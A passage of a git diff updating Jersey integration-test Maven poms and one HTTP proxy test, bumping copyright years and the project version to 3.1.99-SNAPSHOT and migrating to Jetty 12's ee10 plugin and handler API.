+++ b/tests/integration/ejb-multimodule-reload/war1/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule-reload/war2/pom.xml b/tests/integration/ejb-multimodule-reload/war2/pom.xml
index c0febb1..13f4fd9 100644
--- a/tests/integration/ejb-multimodule-reload/war2/pom.xml
+++ b/tests/integration/ejb-multimodule-reload/war2/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule/ear/pom.xml b/tests/integration/ejb-multimodule/ear/pom.xml
index ad6fa1e..17bd05c 100644
--- a/tests/integration/ejb-multimodule/ear/pom.xml
+++ b/tests/integration/ejb-multimodule/ear/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule/lib/pom.xml b/tests/integration/ejb-multimodule/lib/pom.xml
index 9a4e53e..7c63d59 100644
--- a/tests/integration/ejb-multimodule/lib/pom.xml
+++ b/tests/integration/ejb-multimodule/lib/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-multimodule/pom.xml b/tests/integration/ejb-multimodule/pom.xml
index e8c321d..2c3a067 100644
--- a/tests/integration/ejb-multimodule/pom.xml
+++ b/tests/integration/ejb-multimodule/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>ejb-multimodule</artifactId>
diff --git a/tests/integration/ejb-multimodule/war/pom.xml b/tests/integration/ejb-multimodule/war/pom.xml
index 47a54b7..fd8f593 100644
--- a/tests/integration/ejb-multimodule/war/pom.xml
+++ b/tests/integration/ejb-multimodule/war/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/ejb-test-webapp/pom.xml b/tests/integration/ejb-test-webapp/pom.xml
index be9285c..8ed4d7c 100644
--- a/tests/integration/ejb-test-webapp/pom.xml
+++ b/tests/integration/ejb-test-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>ejb-test-webapp</artifactId>
@@ -40,7 +40,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
          <dependency>
diff --git a/tests/integration/externalproperties/pom.xml b/tests/integration/externalproperties/pom.xml
index 58bb379..aecca1a 100644
--- a/tests/integration/externalproperties/pom.xml
+++ b/tests/integration/externalproperties/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>externalproperties</artifactId>
diff --git a/tests/integration/externalproperties/src/test/java/org/glassfish/jersey/tests/externalproperties/HttpProxyTest.java b/tests/integration/externalproperties/src/test/java/org/glassfish/jersey/tests/externalproperties/HttpProxyTest.java
index c6ecc29..84edb0f 100644
--- a/tests/integration/externalproperties/src/test/java/org/glassfish/jersey/tests/externalproperties/HttpProxyTest.java
+++ b/tests/integration/externalproperties/src/test/java/org/glassfish/jersey/tests/externalproperties/HttpProxyTest.java
@@ -16,9 +16,10 @@
 
 package org.glassfish.jersey.tests.externalproperties;
 
+import org.eclipse.jetty.server.Handler;
 import org.eclipse.jetty.server.Request;
 import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.handler.AbstractHandler;
+import org.eclipse.jetty.util.Callback;
 import org.glassfish.jersey.ExternalProperties;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
@@ -30,8 +31,6 @@
 import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.Test;
 
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
 import jakarta.ws.rs.GET;
 import jakarta.ws.rs.Path;
 import jakarta.ws.rs.core.Application;
@@ -99,15 +98,13 @@
         Assertions.assertFalse(proxyHit);
     }
 
-    class ProxyHandler extends AbstractHandler {
+    class ProxyHandler extends Handler.Abstract {
         @Override
-        public void handle(String target,
-                           Request baseRequest,
-                           HttpServletRequest request,
-                           HttpServletResponse response) {
+        public boolean handle(Request request, org.eclipse.jetty.server.Response response, Callback callback) throws Exception {
             proxyHit = true;
             response.setStatus(407);
-            baseRequest.setHandled(true);
+            callback.succeeded();
+            return true;
         }
 
         ProxyHandler(boolean pProxyHit) {
@@ -117,4 +114,3 @@
     }
 
 }
-
diff --git a/tests/integration/j-376/pom.xml b/tests/integration/j-376/pom.xml
index 9fc2774..6847cbc 100644
--- a/tests/integration/j-376/pom.xml
+++ b/tests/integration/j-376/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>j-376</artifactId>
@@ -75,9 +75,21 @@
         <dependency>
             <groupId>org.jboss.weld.se</groupId>
             <artifactId>weld-se-core</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.jboss.logging</groupId>
+                    <artifactId>jboss-logging</artifactId>
+                </exclusion>
+            </exclusions>
             <scope>compile</scope>
         </dependency>
         <dependency>
+            <groupId>org.jboss.logging</groupId>
+            <artifactId>jboss-logging</artifactId>
+            <version>${jboss.logging.version}</version>
+            <scope>provided</scope>
+        </dependency>
+        <dependency>
             <groupId>org.glassfish.jersey.ext.cdi</groupId>
             <artifactId>jersey-cdi1x</artifactId>
             <version>${project.version}</version>
diff --git a/tests/integration/j-441/ear/pom.xml b/tests/integration/j-441/ear/pom.xml
index 6250fbe..380bdd1 100644
--- a/tests/integration/j-441/ear/pom.xml
+++ b/tests/integration/j-441/ear/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
     <artifactId>j-441-ear</artifactId>
diff --git a/tests/integration/j-441/pom.xml b/tests/integration/j-441/pom.xml
index 972a4c1..8b82637 100644
--- a/tests/integration/j-441/pom.xml
+++ b/tests/integration/j-441/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>j-441</artifactId>
diff --git a/tests/integration/j-441/war1/pom.xml b/tests/integration/j-441/war1/pom.xml
index 3988f06..a938cde 100644
--- a/tests/integration/j-441/war1/pom.xml
+++ b/tests/integration/j-441/war1/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
@@ -42,7 +42,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
         <dependency>
diff --git a/tests/integration/j-441/war2/pom.xml b/tests/integration/j-441/war2/pom.xml
index a670bcc..9a42ac4 100644
--- a/tests/integration/j-441/war2/pom.xml
+++ b/tests/integration/j-441/war2/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
@@ -42,7 +42,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
         <dependency>
diff --git a/tests/integration/j-59/ear/pom.xml b/tests/integration/j-59/ear/pom.xml
index 143fdc0..87dd0c4 100644
--- a/tests/integration/j-59/ear/pom.xml
+++ b/tests/integration/j-59/ear/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/j-59/lib/pom.xml b/tests/integration/j-59/lib/pom.xml
index 1021639..556389e 100644
--- a/tests/integration/j-59/lib/pom.xml
+++ b/tests/integration/j-59/lib/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
diff --git a/tests/integration/j-59/pom.xml b/tests/integration/j-59/pom.xml
index 8f10570..45ab27c 100644
--- a/tests/integration/j-59/pom.xml
+++ b/tests/integration/j-59/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>j-59</artifactId>
diff --git a/tests/integration/j-59/war/pom.xml b/tests/integration/j-59/war/pom.xml
index 6336bd3..1b5187a 100644
--- a/tests/integration/j-59/war/pom.xml
+++ b/tests/integration/j-59/war/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
@@ -65,6 +65,11 @@
             <artifactId>hamcrest</artifactId>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>jakarta.jws</groupId>
+            <artifactId>jakarta.jws-api</artifactId>
+            <version>1.1.1</version>
+        </dependency>
     </dependencies>
 
     <build>
@@ -96,22 +101,6 @@
         </plugins>
     </build>
 
-    <profiles>
-        <profile>
-            <id>jdk11+</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-              <dependency>
-                  <groupId>jakarta.jws</groupId>
-                  <artifactId>jakarta.jws-api</artifactId>
-                  <version>1.1.1</version>
-              </dependency>
-            </dependencies>
-        </profile>
-    </profiles>
-
     <properties>
         <failOnMissingWebXml>false</failOnMissingWebXml>
         <skipTests>true</skipTests>
diff --git a/tests/integration/jackson-14/pom.xml b/tests/integration/jackson-14/pom.xml
index 5a3a8dc..e1eb1d4 100644
--- a/tests/integration/jackson-14/pom.xml
+++ b/tests/integration/jackson-14/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jaxrs-component-inject/pom.xml b/tests/integration/jaxrs-component-inject/pom.xml
index 217752a..9ad772f 100644
--- a/tests/integration/jaxrs-component-inject/pom.xml
+++ b/tests/integration/jaxrs-component-inject/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jaxrs-component-inject</artifactId>
@@ -54,8 +54,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-1107/pom.xml b/tests/integration/jersey-1107/pom.xml
index e9f49dd..41b5303 100644
--- a/tests/integration/jersey-1107/pom.xml
+++ b/tests/integration/jersey-1107/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-1107</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-              <groupId>org.eclipse.jetty</groupId>
-              <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-1223/pom.xml b/tests/integration/jersey-1223/pom.xml
index 50f517f..6e9d68d 100644
--- a/tests/integration/jersey-1223/pom.xml
+++ b/tests/integration/jersey-1223/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>jersey-1223</artifactId>
@@ -58,8 +58,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-1604/pom.xml b/tests/integration/jersey-1604/pom.xml
index 6046f62..881c328 100644
--- a/tests/integration/jersey-1604/pom.xml
+++ b/tests/integration/jersey-1604/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>jersey-1604</artifactId>
@@ -61,8 +61,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-1667/pom.xml b/tests/integration/jersey-1667/pom.xml
index 278c698..ceba798 100644
--- a/tests/integration/jersey-1667/pom.xml
+++ b/tests/integration/jersey-1667/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-1667</artifactId>
@@ -60,8 +60,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-1883/pom.xml b/tests/integration/jersey-1883/pom.xml
index b06b1c1..a9af9cc 100644
--- a/tests/integration/jersey-1883/pom.xml
+++ b/tests/integration/jersey-1883/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-1883</artifactId>
@@ -56,8 +56,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-1928/pom.xml b/tests/integration/jersey-1928/pom.xml
index daea1a5..c0791f9 100644
--- a/tests/integration/jersey-1928/pom.xml
+++ b/tests/integration/jersey-1928/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>jersey-1928</artifactId>
@@ -57,8 +57,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-1960/pom.xml b/tests/integration/jersey-1960/pom.xml
index 468385f..67b88e7 100644
--- a/tests/integration/jersey-1960/pom.xml
+++ b/tests/integration/jersey-1960/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-1960</artifactId>
@@ -36,7 +36,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -63,8 +62,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/tests/integration/jersey-1964/pom.xml b/tests/integration/jersey-1964/pom.xml
index 1bd2cc1..b0c106d 100644
--- a/tests/integration/jersey-1964/pom.xml
+++ b/tests/integration/jersey-1964/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-1964</artifactId>
@@ -48,7 +48,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -70,8 +69,8 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
